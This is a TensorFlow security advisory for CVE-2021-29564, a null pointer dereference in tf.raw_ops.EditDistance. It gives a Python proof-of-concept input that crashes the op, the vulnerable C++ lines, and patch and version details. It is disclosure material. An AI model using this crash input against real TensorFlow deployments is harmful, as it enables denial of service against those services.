Ecosyste.ms: Advisories

Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTc1ZjYtNzhqci00NjU2

Null pointer dereference in `EditDistance`

Impact

An attacker can trigger a null pointer dereference in the implementation of tf.raw_ops.EditDistance:

import tensorflow as tf

hypothesis_indices = tf.constant([247, 247, 247], shape=[1, 3], dtype=tf.int64)
hypothesis_values = tf.constant([-9.9999], shape=[1], dtype=tf.float32)
hypothesis_shape = tf.constant([0, 0, 0], shape=[3], dtype=tf.int64)
truth_indices = tf.constant([], shape=[0, 3], dtype=tf.int64)
truth_values = tf.constant([], shape=[0], dtype=tf.float32)
truth_shape = tf.constant([0, 0, 0], shape=[3], dtype=tf.int64)

tf.raw_ops.EditDistance(
    hypothesis_indices=hypothesis_indices, hypothesis_values=hypothesis_values,
    hypothesis_shape=hypothesis_shape, truth_indices=truth_indices,
    truth_values=truth_values, truth_shape=truth_shape, normalize=True)

This is because the implementation has incomplete validation of the input parameters.

In the above scenario, an attacker causes an allocation of an empty tensor for the output:

OP_REQUIRES_OK(ctx, ctx->allocate_output("output", output_shape, &output));
auto output_t = output->flat<float>();
output_t.setZero();

Because output_shape has 0 elements, the result of output->flat<T>() has an empty buffer, so calling setZero would result in a null dereference.

Patches

We have patched the issue in GitHub commit f4c364a5d6880557f6f5b6eb5cee2c407f0186b3.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

Permalink: https://github.com/advisories/GHSA-75f6-78jr-4656
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTc1ZjYtNzhqci00NjU2
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Low
Classification: General
Published: almost 3 years ago
Updated: about 1 year ago

CVSS Score: 2.5
CVSS vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L

Identifiers: GHSA-75f6-78jr-4656, CVE-2021-29564
References:

• https://github.com/tensorflow/tensorflow/security/advisories/GHSA-75f6-78jr-4656
• https://nvd.nist.gov/vuln/detail/CVE-2021-29564
• https://github.com/tensorflow/tensorflow/commit/f4c364a5d6880557f6f5b6eb5cee2c407f0186b3
• https://github.com/advisories/GHSA-75f6-78jr-4656

Repository: https://github.com/tensorflow/tensorflow
Blast Radius: 12.2

Affected Packages